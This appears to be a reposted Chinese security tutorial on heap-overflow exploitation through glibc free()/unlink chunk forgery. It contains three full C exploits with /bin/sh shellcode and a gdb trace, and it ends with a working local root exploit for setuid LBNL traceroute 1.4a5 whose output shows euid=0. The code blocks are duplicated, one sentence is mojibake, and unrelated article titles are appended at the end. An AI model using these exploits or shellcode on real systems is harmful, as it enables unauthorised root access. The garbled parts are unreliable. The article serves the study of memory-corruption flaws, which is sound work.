{unsigned int codeaddr = 0;char buf[128], fake_chunk[16];char *env[2];unsigned int *ptr;/* 计算shellcode在堆栈中的地址 */codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);env[0] = shellcode;env[1] = NULL;/* 伪造一个块结构 */ptr = (unsigned int *) fake_chunk;*ptr++ = 0x11223344 & ~PREV_INUSE; /* 将PREV_INUSE位清零 *//* 设置长度为-4,这个值应当是4的倍数 */*ptr++ = 0xfffffffc;*ptr++ = __FREE_HOOK - 12 ;*ptr++ = codeaddr;bzero(buf, 128);memset (buf, 'A', 16); /* 填充无用数据 */memcpy (buf + 16, fake_chunk, sizeof (fake_chunk));execle (VULPROG, VULPROG, buf, NULL, env);} /* End of main */

运行一下看看:

[warning3@redhat-6 malloc]$ gcc -o ex ex.c
[warning3@redhat-6 malloc]$ ./ex
0x8049768 [ buf ] (32) : AAAAAAAAAAAAAAAA???????瑧@???
0x8049780 [ buf1 ] (08) : 瑧@???
From buf to buf1 : 24

Before free buf
Before free buf1
bash$ <--- 成功了!!

是不是很简单?:-)

小节:

现在我们总结一下利用free(mem)来进行攻击的基本步骤。假设chunk是该块内部
结构的指针(chunk = mem - 8)。

我们有两种方法:
1. 如果我们想利用上一块的unlink进行攻击,需要保证:
I. chunk->size的IS_MMAPPED位为零
II. chunk->size的PREV_INUSE位为零
III. chunk + chunk->prev_size指向一个我们控制的伪造块结构;
IV. 在一个确定的位置构造一个伪块

2. 如果想利用下一个块的unlink进行攻击,需要保证:
I. chunk->size的IS_MMAPPED位为零
II. chunk->size的PREV_INUSE位为一
III. chunk + nextsz 指向一个我们控制的伪造块结构。
(nextsz = chunk->size & ~(PREV_INUSE|IS_MMAPPED))
IV. 在一个确定的位置构造一个伪块

其中伪块(fake_chunk)的结构如下:

fake_chunk[0] = 0x11223344 & ~PREV_INUSE (只在第2种情况下有意义)
fake_chunk[4] = 0xfffffffc | (PREV_INUSE|IS_MMAPPED); (只在第2种情况下有意义)
fake_chunk[8] = objaddr - 12 ; (objaddr是要覆盖的目标地址)
fake_chunk[12] = shellcodeaddr ; (shellcodeaddr是shellcode的地址)

至于具体使用上面哪种方法,需要根据实际情况确定。例如,如果你不能控制
chunk->prev_size使其指向我们的伪块,那就不能用第一种方法了。

我们再看一个利用上一块的unlink进行攻击的例子,只要将弱点程序的free(buf1)放到
free(buf)前面即可,这样我们所free的buf1就是一个我们可以控制的内存块了。
改动后的vul.c如下:
...
printf ("Before free buf1\n");
free (buf1); /* 释放buf1 */
printf ("Before free buf\n");
free (buf); /* 释放buf */
...

看看我们的新演示程序吧:

Shell代码
  1. /* Exploit for free() with unlinking previous chunk - ex1.c
  2. *           by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
  3. *                                     2001/03/06
  4. */
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #define __FREE_HOOK     0x401091b8      /* __free_hook()地址 */
  8. #define VULPROG "./vul"
  9. #define PREV_INUSE 0x1
  10. #define IS_MMAPPED 0x2
  11. char shellcode[] =
  12. "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"   /*这一段是为了跳过垃圾数据 */
  13. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  14. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  15. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  16. main (int argc, char **argv)
  17. {
  18. unsigned int codeaddr = 0;
  19. char buf[128], fake_chunk[16];
  20. char *env[2];
  21. unsigned int *ptr;
  22. /* 计算shellcode在堆栈中的地址 */
  23. codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
  24. env[0] = shellcode;
  25. env[1] = NULL;
  26. /* 伪造一个块结构。 */
  27. ptr = (unsigned int *) fake_chunk;
  28. *ptr++ = 0x11223344 & ~PREV_INUSE;
  29. *ptr++ = 0xfffffffc;
  30. *ptr++ = __FREE_HOOK - 12;
  31. *ptr++ = codeaddr;
  32. bzero (buf, 128);
  33. memset (buf, 'A', 16);
  34. ptr = (unsigned int *) (buf + 16);
  35. /* 让prev_size等于-8 ,使其指向我们伪造的块. 满足III条 */
  36. *ptr++ = 0xfffffff8;
  37. /* 只要保证next以及next->size可以访问即可。所以让size长度等于-4 ,
  38. * 如果要为正值,必须找到堆栈里的一个有效值,还要计算偏移,太麻烦。
  39. * 同时要清两个标记。满足I.,II.条
  40. */
  41. *ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED);
  42. /* 将伪造的块放到确定位置。满足第IV条 */
  43. memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk));
  44. execle (VULPROG, VULPROG, buf, NULL, env);
  45. }/* End of main */
/* Exploit for free() with unlinking previous chunk - ex1.c
*           by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
*                                     2001/03/06
*/#include <stdio.h>
#include <stdlib.h>#define __FREE_HOOK     0x401091b8      /* __free_hook()地址 */
#define VULPROG "./vul"#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2char shellcode[] = "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"   /*这一段是为了跳过垃圾数据 */"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";main (int argc, char **argv)
{unsigned int codeaddr = 0;char buf[128], fake_chunk[16];char *env[2];unsigned int *ptr;/* 计算shellcode在堆栈中的地址 */codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);env[0] = shellcode;env[1] = NULL;/* 伪造一个块结构。 */ptr = (unsigned int *) fake_chunk;*ptr++ = 0x11223344 & ~PREV_INUSE;*ptr++ = 0xfffffffc;*ptr++ = __FREE_HOOK - 12;*ptr++ = codeaddr;bzero (buf, 128);memset (buf, 'A', 16); ptr = (unsigned int *) (buf + 16);/* 让prev_size等于-8 ,使其指向我们伪造的块. 满足III条 */*ptr++ = 0xfffffff8; /* 只要保证next以及next->size可以访问即可。所以让size长度等于-4 ,* 如果要为正值,必须找到堆栈里的一个有效值,还要计算偏移,太麻烦。* 同时要清两个标记。满足I.,II.条 */*ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED); /* 将伪造的块放到确定位置。满足第IV条 */memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk));execle (VULPROG, VULPROG, buf, NULL, env);}/* End of main */

让我们再来测试一下:

[warning3@redhat-6 malloc]$ gcc -o ex1 ex1.c
[warning3@redhat-6 malloc]$ ./ex1
0x8049768 [ buf ] (40) : AAAAAAAAAAAAAAAA??????D3"????瑧@???
0x8049780 [ buf1 ] (16) : D3"????瑧@???
From buf to buf1 : 24

Before free buf1 <-- 先释放buf1
Before free buf
bash$ exit

6. 实例: Traceroute "-g"问题

有了上面的演示程序。我们再来看一个真实世界的例子。

Traceroute是用来检查通往目标网络的路由情况的一个工具,很多Unix系统都安
装了这个软件。由于traceroute需要操纵原始套接字,因此通常被设置了setuid
root属性。LBNL 1.4a5版的Traceroute(LBNL = Lawrence Berkeley National
Laboratory)存在一个安全漏洞,可以被攻击者用来非法获取root权限。

这个漏洞主要是由于free()函数错误得去释放一块已经释放的内存所引起的。

首先我们看一下traceroute的漏洞出在那里。traceroute使用了一个savestr()函数,它
在savestr.c中,它的作用类似strdup(),用来复制一个字符串。它会自动调用malloc()分
配一块较大的内存空间, 并记录下调用完毕后剩余空间的大小。如果用户下次调用
savestr()时,所需内存比剩余空间还小,就不再调用malloc(),而是直接从已分配的空
间中返回一个地址,这样可以减少调用malloc()的次数。然而,这给用户确定何时需要释
放那块分配的内存带来了麻烦,traceroute中没有仔细考虑这一点,而是将savestr()等
同与strdup()来使用,每次调用savestr()完毕后总会调用free()函数释放内存。因此,
当第二次调用savestr()后,free()所释放的内存,实际上是一块未被分配的内存(因为
这块内存已经被第一次free()所释放了)!

下面舛尉褪莝avestr()的代码:

Shell代码
  1. <...>
  2. /* A replacement for strdup() that cuts down on malloc() overhead */
  3. char *
  4. savestr(register const char *str)
  5. {
  6. register u_int size;
  7. register char *p;
  8. static char *strptr = NULL;
  9. static u_int strsize = 0;
  10. size = strlen(str) + 1;
  11. if (size > strsize) {
  12. strsize = 1024;
  13. if (strsize < size)
  14. strsize = size;
  15. /* 只有size>strsize的情况下才调用malloc*/
  16. strptr = (char *)malloc(strsize);
  17. if (strptr == NULL) {
  18. fprintf(stderr, "savestr: malloc\n");
  19. exit(1);
  20. }
  21. }
  22. (void)strcpy(strptr, str);
  23. p = strptr;
  24. strptr += size;
  25. strsize -= size;
  26. return (p);
  27. }
  28. <...>
<...>
/* A replacement for strdup() that cuts down on malloc() overhead */
char *
savestr(register const char *str)
{register u_int size;register char *p;static char *strptr = NULL;static u_int strsize = 0;size = strlen(str) + 1;if (size > strsize) {strsize = 1024;if (strsize < size)strsize = size;/* 只有size>strsize的情况下才调用malloc*/         strptr = (char *)malloc(strsize);if (strptr == NULL) {fprintf(stderr, "savestr: malloc\n");exit(1);}}(void)strcpy(strptr, str);p = strptr;strptr += size;strsize -= size;return (p);
}        <...>

我们看一下两次调用savestr()时的情形:

<1>. p = savestr(S)

假设字符串S长度为l(l<1024),则第一次调用savestr(),它会分配1024
字节长的缓冲区来储存S:

|<----------------------- 1024 bytes -------------------->|
+----------------------------+----------------------------+
| S[0] S[1] ... S[l-1] \0 | junk |
+----------------------------+----------------------------+
^ ^
|__ p |___ strptr

这时候剩余空间strsize为: (1024 - l - 1)
strptr指向 junk的起始

<2>. free(p)

第一次free()会释放p指向的这块缓冲区(1024字节),它会放一些数据在缓
冲区的开头

|<----------------------- 1024 bytes -------------------->|
+-------+--------------------+----------------------------+
| junk1 | S[k] ... S[l-1] \0 | junk |
+-------+--------------------+----------------------------+
^
|___ strptr
这时候p所指向的1024字节大小的缓冲区已经被释放了。

<3>. p = savestr(T)

第二次调用savestr()时,如果字符串T的长度小于strsize(1024 -l -1),
那么savestr()就不会再次调用malloc()分配新内存,而是直接调用了:
....
(void)strcpy(strptr, str);
p = strptr;
strptr += size;
strsize -= size;
return (p);
....
将字符串T拷贝到junk的起始处,而实际上,这块内存已经被释放了!
拷贝的结果如下:

|<----------------------- 1024 bytes -------------------->|
+-------+--------------------+--------------------+-------+
| junk1 | S[k] ... S[l-1] \0 | T[0] ... T[n-1] \0 | junk2|
+-------+--------------------+--------------------+-------+
^ ^
|__ p |___ strptr

这时,strptr指向了junk2处,strsize = 1024 -l -1 -n -1
p指向原来的chunk起始处。

<4>. free(p)

第二次调用free()时,所指向的实际上是一个未分配的缓冲区,这就导致
一个严重错误。我们看到既然S和T都是我们可以控制的,那么我们就可以
利用前面所说的两种方法中的任意一种来进行攻击!

下面就是调用'-g'参数时函数执行的一个简单流程。

Shell代码
  1. main()
  2. ....
  3. case 'g':
  4. ...
  5. getaddr(gwlist + lsrr, optarg);
  6. getaddr(register u_int32_t *ap, register char *hostname)
  7. {
  8. register struct hostinfo *hi;
  9. (1) hi = gethostinfo(hostname);
  10. *ap = hi->addrs[0];
  11. (2) freehostinfo(hi);
  12. }
  13. struct hostinfo *
  14. gethostinfo(register char *hostname)
  15. {
  16. ...
  17. (3) hi = calloc(1, sizeof(*hi));
  18. ...
  19. addr = inet_addr(hostname);
  20. if ((int32_t)addr != -1) {
  21. (4) hi->name = savestr(hostname);
  22. hi->n = 1;
  23. (5) hi->addrs = calloc(1, sizeof(hi->addrs[0]));
  24. ...
  25. (6) hi->addrs[0] = addr;
  26. return (hi);
  27. }
main()
....
case 'g':
...
getaddr(gwlist + lsrr, optarg);getaddr(register u_int32_t *ap, register char *hostname)
{
register struct hostinfo *hi;(1) hi = gethostinfo(hostname);
*ap = hi->addrs[0];
(2) freehostinfo(hi);
}struct hostinfo *
gethostinfo(register char *hostname)
{...
(3) hi = calloc(1, sizeof(*hi));
...
addr = inet_addr(hostname);
if ((int32_t)addr != -1) {
(4) hi->name = savestr(hostname);
hi->n = 1;
(5) hi->addrs = calloc(1, sizeof(hi->addrs[0]));
...
(6) hi->addrs[0] = addr;
return (hi);
}

我们看到,每次getaddr中都会释放hostinfo结构中的每个成员,包括hi->name.(1)
而再第二次调用gethostinfo()时,又会经历两次calloc操作(3,5),以及一次赋值
操作(6)。因此看起来并不象我们原来想象的那么简单,关键在于我们能否控制第
二次free的那块内存的内部结构成员:chunk->size或者是chunk->prev_size.
让我们来跟踪一下:

[root@redhat-6 traceroute-1.4a5]# gdb ./traceroute -q
(gdb) b gethostinfo
Breakpoint 1 at 0x804aae8: file ./traceroute.c, line 1220.
(gdb) r -g 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1

Starting program: /usr/src/redhat/BUILD/traceroute-1.4a5/./traceroute -g
111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1

Breakpoint 1, gethostinfo (hostname=0xbffffdf3 "111.111.111.111")
at ./traceroute.c:1220
1220 hi = calloc(1, sizeof(*hi));
(gdb) n
1221 if (hi == NULL) {
(gdb) n
1225 addr = inet_addr(hostname);
(gdb) n
1226 if ((int32_t)addr != -1) {
(gdb) p/x addr <-- 这是hostname转换后的地址(111.111.111.111)
$2 = 0x6f6f6f6f
(gdb) n <-- 下一步要为hostname分配1024字节内存
1227 hi->name = savestr(hostname);
(gdb) n
1228 hi->n = 1;
(gdb) p/x hi->name <-- 这是第一次分配返回的地址
$3 = 0x804d518
(gdb) x/8x hi->name -8
[prev_size] [size] [data...]
0x804d510: 0x00000000 0x00000409 0x2e313131 0x2e313131
0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000
(gdb) n <-- 又动态分配了一块内存
1229 hi->addrs = calloc(1, sizeof(hi->addrs[0]));
(gdb)
1230 if (hi->addrs == NULL) {
(gdb) p/x hi->addrs <-- 这块内存是分配在hi->name + 0x400+8这个地址
$4 = 0x804d920
(gdb) n
1235 hi->addrs[0] = addr;
(gdb) n
1236 return (hi);
(gdb) x/x hi->addrs
0x804d920: 0x6f6f6f6f <-- 注意,将addr存在这个地址了。
(gdb) c
Continuing.

Breakpoint 1, gethostinfo (hostname=0xbffffe06 "0x66.0x77.0x88.0x99")
at ./traceroute.c:1220
1220 hi = calloc(1, sizeof(*hi));
[ 这时,前面分配的内存已经全被释放了 ]

(gdb) p/x 0x804d510 <-- 我们看看原来的hi->name内存的情况
$5 = 0x804d510
(gdb) x/10x 0x804d510
[prev_size] [size] [data...]
0x804d510: 0x0804d920 0x00000af1 0x40108f80 0x40108f80
0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000
0x804d530: 0x00000000 0x00000000
[ 我们看到我们原来的数据(16个字节)已经改变了 ]
(gdb) n
1221 if (hi == NULL) {
(gdb) x/10x 0x804d510 <--- 执行完第一个calloc(),后,prev_size被清零了。
[prev_size] [size] [data...]
0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80
0x804d520: 0x2e313131 0x00313131 0x00000000 0x00000000
0x804d530: 0x00000000 0x00000000
(gdb) n
1225 addr = inet_addr(hostname);
(gdb) n
1226 if ((int32_t)addr != -1) {
(gdb) p/x addr <-- 这里意味着我们可以构造一个任意的值,并赋给addr
$6 = 0x99887766
(gdb) n
1227 hi->name = savestr(hostname); <--再次调用savestr()
(gdb) n
1228 hi->n = 1;
(gdb) p/x hi->name
$7 = 0x804d528 <-- 注意!hi->name的起始位置 =
0x804d518 + 第一个-g参数的长度(16)

(gdb) x/12x 0x804d510
0x804d510: 0x00000000 0x00000af1 0x40108f80 0x40108f80
0x804d520: 0x2e313131 0x00313131 * 0x36367830 0x3778302e
0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000
[ 第二个参数的内容从*号处开始 ]

(gdb) n <-- 下面这个calloc将再分配一段内存
1229 hi->addrs = calloc(1, sizeof(hi->addrs[0]));
(gdb) n
1230 if (hi->addrs == NULL) {
(gdb) p/x hi->addrs < --- 这个地址就是我们第一次savestr()时得到的地址!!!
$8 = 0x804d518
(gdb) p/x sizeof(hi->addrs[0])
$9 = 0x4
(gdb) x/12x 0x804d510 <---
[prev_size] [size] [data...]
0x804d510: 0x0804d518 0x00000011 0x00000000 0x00000000
0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e
0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000
[ 从上面看到,新分配的内存也是从0x804d510开始的,而且将用户数据区的前8个
字节清零。最顶上的块也移动了16个字节,将0x804d520,0x804d524两个地址的
数据覆盖了。
]
(gdb) n
1235 hi->addrs[0] = addr;
(gdb) p/x hi->addrs[0]
$10 = 0x0
(gdb) n
1236 return (hi);
(gdb) p/x hi->addrs[0]
$11 = 0x99887766
(gdb) p/x &hi->addrs[0]
$12 = 0x804d518
(gdb) x/12x 0x804d510
[prev_size] [size] [data...]
0x804d510: 0x0804d518 0x00000011 0x99887766 0x00000000
0x804d520: 0x00000000 0x00000ae1 * 0x36367830 0x3778302e
0x804d530: 0x78302e37 0x302e3838 0x00393978 0x00000000

[ 注意,addr = 0x99887766被存到了0x804d518处,这个值是我们能控制的 ]

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x40073f73 in free () at malloc.c:2952
2952 malloc.c: No such file or directory.

[ 在试图free *号开始地址的内存时出错 ]

为了更容易理解一下,我们可以看一下两次调用savestr()时的图:

第一次调用savestr()后,返回地址p0:

|<----------------------- 1024 bytes -------------------->|
+----------------------------+----------------------------+
| "111.111.111.111" \0 | junk |
+----------------------------+----------------------------+
^
|__ p0

在第二次savestr()后,p0移动到一个新的位置p1=p0 + strlen(hostname) +1。

由于执行了一个calloc()操作,导致从p2开始的12个字节是我们不能控制的.
而幸运的是,由于有一个"hi->addrs[0] = addr"操作,使得p2前面的四个
字节是我们能控制的

|<----------------------- 1024 bytes -------------------->|
+--------+----------------------+---------------------+---+
|99887766|0000 0000 0x0ae1|...\0|"0x66.0x77.0x88.0x99"|...|
+--------+----------------------+---------------------+---+
| 4字节 |<--- 12字节 --->| ^
p0 p2 |__ p1

接下来要free(p1)了。根据前面介绍的方法,如果要想利用free(p1),
我们必须能控制p1-4(size)或者p1-8(prev_size)的内容,既然我们能控制
p0开始的4个字节,如果我们能设法使得p1与p2重合,那么我们不就可以
控制p1-4了吗?这样就要求第一个"-g"参数长度为3字节,例如"1.1"
再加上最后的'\0',长度就刚好是4字节了。

|<----------------------- 1024 bytes -------------------->|
+--------+------------------------------------------------+
| "1.1"\0| |
+--------+------------------------------------------------+
| 4字节 |
p0

|<----------------------- 1024 bytes -------------------->|
+--------+------------------------------------------------+
| "1.1"\0|"0x66.0x77.0x88.0x99"\0 |
+--------+------------------------------------------------+
| 4字节 |
p0 p1

|<----------------------- 1024 bytes -------------------->|
+--------+----------------------------+-------------------+
|99887766|0000 0000 0x0ae1|"88.0x99"\0|... |
+--------+----------------------------+-------------------+
| 4字节 |<--- 12字节 --->|<--8字节-->|
p0 p2(p1)

那么下一步的关键就是如何设置chunk->size,以及将我们的伪造的块放在
什么地方了。
inet_addr()有一个"特性",如果你输入"1.2.3.4 AAAAAA"(注意空格后面
还添加了一些'A'),它并不会报错,返回值为0x04030201.如果输入
"0xaa.0xbb.0xcc.0xdd AAA"这样的字符串,返回值就是0xddccbbaa.我们
可以将伪造的块放在空格后面,将chunk->size放在0xaa.0xbb.0xcc.0xdd
中。例如,第二个"-g"参数使用"0x1d.0x00.0x00.0x00 fake_chunk"
这样得到的chunk->size=0x0000001d。
0x1d这个值是怎么算出来的呢?

chunk = p1 -8
fake_chunk = p1 + strlen("0x1d.0x00.0x00.0x00 ")
= p1 + 20
= chunk + 8 + 20
= chunk + 28
= chunk + 0x1c
(0x1c | PREV_INUSE) ==> 0x1d

有人也许会说,为什么不将第一个参数长度设得比较大,例如,超过16
字节,这样16字节后面的部分也会在我们的控制之下,利用这些部分来
构造一个prev_size和size不是更方便吗?我开始也是这么考虑的,但是
实际测试时发现,p2所代表块的已经是top块,就是最顶上的块。free(p1)
时,要求p1-8地址低于p2,因此这种方法行不通。

OK,到这里可以说是大功告成了,下面就可以开始写测试程序了。我们利用的
是unlink下一个块的方法。你会发现,一旦原理搞清楚了,这个测试程序是相
当简洁的。 唯一需要知道的,就是__free_hook的地址.如果你有对
/usr/sbin/traceroute的读权限,可以将它拷贝到一个临时目录下,然后使用
gdb,将断点设在exit,然后获取__free_hook.如果没有读权限,可以增加一个
偏移量,自动测试可能的__free_hook,一般按照0x10来递增或递减即可。

Shell代码
  1. /* Exploit for LBNL traceroute with unlinking nextchunk
  2. *                                   - traceroute-ex.c
  3. *
  4. * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
  5. * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
  6. *
  7. *           by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
  8. *                                     2001/03/08
  9. */
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #define __FREE_HOOK     0x401091b8      /* __free_hook地址 */
  13. #define VULPROG "/usr/sbin/traceroute"
  14. #define PREV_INUSE 0x1
  15. #define IS_MMAPPED 0x2
  16. char shellcode[] =
  17. "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"   /*这一段是为了跳过垃圾数据 */
  18. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  19. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  20. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  21. main (int argc, char **argv)
  22. {
  23. unsigned int codeaddr = 0;
  24. char buf[128],fake_chunk[16];
  25. char *env[2];
  26. unsigned int *ptr;
  27. /* 计算shellcode在堆栈中的地址 */
  28. codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);
  29. env[0] = shellcode;
  30. env[1] = NULL;
  31. /* 伪造一个块结构。 */
  32. ptr = (unsigned int *) fake_chunk;
  33. *ptr++ = 0x11223344 & ~PREV_INUSE;
  34. *ptr++ = 0xfffffffc;
  35. *ptr++ = __FREE_HOOK - 12;
  36. *ptr++ = codeaddr;
  37. bzero (buf, 128);
  38. /* 设置chunk->size = ((20+8 = 28 = 0x1c) | PREV_INUSE)= 0x1d */
  39. memcpy(buf, "0x1d.0x00.0x00.0x00 ", 20);
  40. memcpy(buf+20, fake_chunk, 16);
  41. execle (VULPROG, VULPROG, "-g", "1.1", "-g" , buf, "127.0.0.1", NULL, env);
  42. }/* End of main */
/* Exploit for LBNL traceroute with unlinking nextchunk
*                                   - traceroute-ex.c
*
* THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
* ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
*
*           by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
*                                     2001/03/08
*/
#include <stdio.h>
#include <stdlib.h>#define __FREE_HOOK     0x401091b8      /* __free_hook地址 */
#define VULPROG "/usr/sbin/traceroute"#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2char shellcode[] = "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"   /*这一段是为了跳过垃圾数据 */"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";main (int argc, char **argv)
{unsigned int codeaddr = 0;char buf[128],fake_chunk[16];char *env[2];unsigned int *ptr;/* 计算shellcode在堆栈中的地址 */codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);env[0] = shellcode;env[1] = NULL;/* 伪造一个块结构。 */ptr = (unsigned int *) fake_chunk;*ptr++ = 0x11223344 & ~PREV_INUSE;*ptr++ = 0xfffffffc;*ptr++ = __FREE_HOOK - 12;*ptr++ = codeaddr;bzero (buf, 128);/* 设置chunk->size = ((20+8 = 28 = 0x1c) | PREV_INUSE)= 0x1d */memcpy(buf, "0x1d.0x00.0x00.0x00 ", 20);memcpy(buf+20, fake_chunk, 16);execle (VULPROG, VULPROG, "-g", "1.1", "-g" , buf, "127.0.0.1", NULL, env);}/* End of main */

测试结果:

[warning3@redhat-6 malloc]$ gcc -o ex3 ex3.c
[warning3@redhat-6 malloc]$ ./ex3
bash# id
uid=507(warning3) gid=507(warning3) euid=0(root) groups=507(warning3),100(users)
bash#

★ 结束语:

malloc/free的问题使得在某些平台/系统下,Heap区溢出的危险性大大增加了,
值得引起我们的重视。另外,除了free()可能出问题外,realloc()也可能出问题。
有兴趣的读者可以自行参看一下realloc()的代码。

最初想写这篇文档是在去年10月份,后来由于种种原因,一直拖了下来,
为此被scz骂了很多次。 现在总算完成了。

★ 感谢:

感谢Solar Designer,Chris Evans,dvorak,Michel Kaempf无私地奉献了他
们的研究成果。(参见参考文献.)

★ 参考文献:

[1] Solar Designer, <<JPEG COM Marker Processing Vulnerability in Netscape Browsers>>
http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt

[2] Chris Evans, <<Very interesting traceroute flaw>>
http://security-archive.merton.ox.ac.uk/bugtraq-200009/0482.html

[3] dvorak , <<Traceroute exploit + story>>
http://security-archive.merton.ox.ac.uk/bugtraq-200010/0084.html

[4] Michel Kaempf, <<[MSY] Local root exploit in LBNL traceroute>>
http://security-archive.merton.ox.ac.uk/bugtraq-200011/0081.html

希望大家提问前先 google 关键词<br /> 希望大家提问前先看论坛的精华和置项的贴子<br /> 希望大家提问前先搜索论坛的相关内容<br /> 希望大家提问时把标题写清楚<br /> 希望大家贴代码时能保持缩进<br /> LFS ID:8158 

转载于:https://www.cnblogs.com/onlyforcloud/articles/4476436.html

一种新的Heap区溢出技术分析[转贴]相关推荐

  1. 电影渲染技术cVRT在CT中的应用:一种新的逼真的3D可视化技术

    [摘要]目的:本文的目的是对图像可视化技术-电影渲染(Cinematic Rendering,CR)的潜在优势和临床应用做一个综述.结论:容积渲染(Volume-Rendering,VR)技术可以在原 ...

  2. Facebook TensorMask:一种新的密集滑动窗口分割技术

    导语:TunSoMeM 为探索分割研究提供了新的方向 语音播放文章内容 由深声科技提供技术支持 近日,Facebook 发布了一项新的研究,该研究探索了实例分割的新方法.与掩模 R-CNN 驱动的标准 ...

  3. 一种新的计算机视觉技术?将手机的摄像头变成了一个搜索引擎

    https://www.toutiao.com/a6698870195391300099/ 智能手机,安全摄像头和扬声器仅仅是行将运行更加人工智能软件以加快图像和语音处置使命的装备中的一小部分.增添硬 ...

  4. 华为等向联合国提议重构互联网:提议采用一种新的核心网络技术新标准,名为“New IP”...

    来源:云头条 新架构将支持尖端技术,华为曾表示,新技术的一些部分已经在建造中,相关部分已准备好在2021年之前进行测试. 以下为<演示文稿>: <金融时报>消息,中国已向联合国 ...

  5. Android中的防缓冲区溢出技术

    Android系统提供了非常严格的多层次的安全保护措施,包括代码.为了防止恶意用户采用恶意软件进行缓冲区溢出***或者进行"越狱"操作,自Android 4.0版本之后,内核就引入 ...

  6. JVM异常之:方法区溢出OutOfMemoryError: PermGen space

    1.方法区溢出(Perm持久代溢出) 在jdk1.6及之前的版本中,常量池放在Perm区也即是方法区中,所以在jdk1.6版本中,常量池溢出可以说是方法区溢出. 示例一: 方法区溢出的示例见<J ...

  7. 产业区块链:新基建中的底层技术基座,各行业资深人士应积极参与建设

    记者 | 邓晓娟 出品 | CSDN(ID:CSDNnews) 4月20日,国家发改委召开例行在线新闻发布会,国家发改委创新和高技术发展司司长伍浩回应外界对新基建的热议.他表示,关于新型基础设施的概念 ...

  8. 除了 Python,为什么机器学习还需要一种新的编程语言?

    点击上方"CSDN",选择"置顶公众号" 关键时刻,第一时间送达! 编者按:任何足够复杂的机器学习系统都需要一个特定的.非强制要求.优弊共存的编程语言.如今 P ...

  9. oracle存储多少条数据类型,Oracle目前可以存储极大的对象,这是因为它引入了四种新的数据类型。其中哪一种大对象数据类型在数...

    Oracle目前可以存储极大的对象,这是因为它引入了四种新的数据类型.其中哪一种大对象数据类型在数 更多相关问题 谈谈我国幼儿教师的基本权利和义务. 请帮忙给出正确答案和分析,谢谢! 监察机关在办理监 ...

最新文章

  1. 收藏 | 一文打尽AI、机器学习网络资源!
  2. 成功解决‘nvidia-smi‘ 不是内部或外部命令,也不是可运行的程序 或批处理文件
  3. 安阳职业技术学院计算机录取分数线,安阳职业技术学院录取分数线2021是多少分(附历年录取分数线)...
  4. [单选题]PHP函数,mail($param1, $param2, $param3),其中的$param2参数包含什么?
  5. leetcode53. 最大子序和详解——pygo
  6. java .insert_Java StringBuffer.insert 插入字符
  7. GIS中的矢量数据、栅格数据
  8. 海洋环境科学概论知识整理--1
  9. python英语单词 扇贝英语安卓下载_扇贝单词英语版手机版|扇贝单词英语版安卓版下载 v3.6.402 - 跑跑车安卓网...
  10. 广告创作的灵魂---创意
  11. 【UE4】联网游戏开发的正确姿势
  12. 程序猿麒麟臂打造之路(健身二)
  13. 入网许可证_入网许可证
  14. 3Dmax制作立体的文字教程
  15. 高中数学必修一二次函数与幂函数试题及答案
  16. IAR开发STM8S系列启动CMT2300A
  17. android系统底层的updater 命令,Android ROM 刷机脚本 updater-script 的基本流程和初级语句...
  18. Python Web开发——Django框架学习
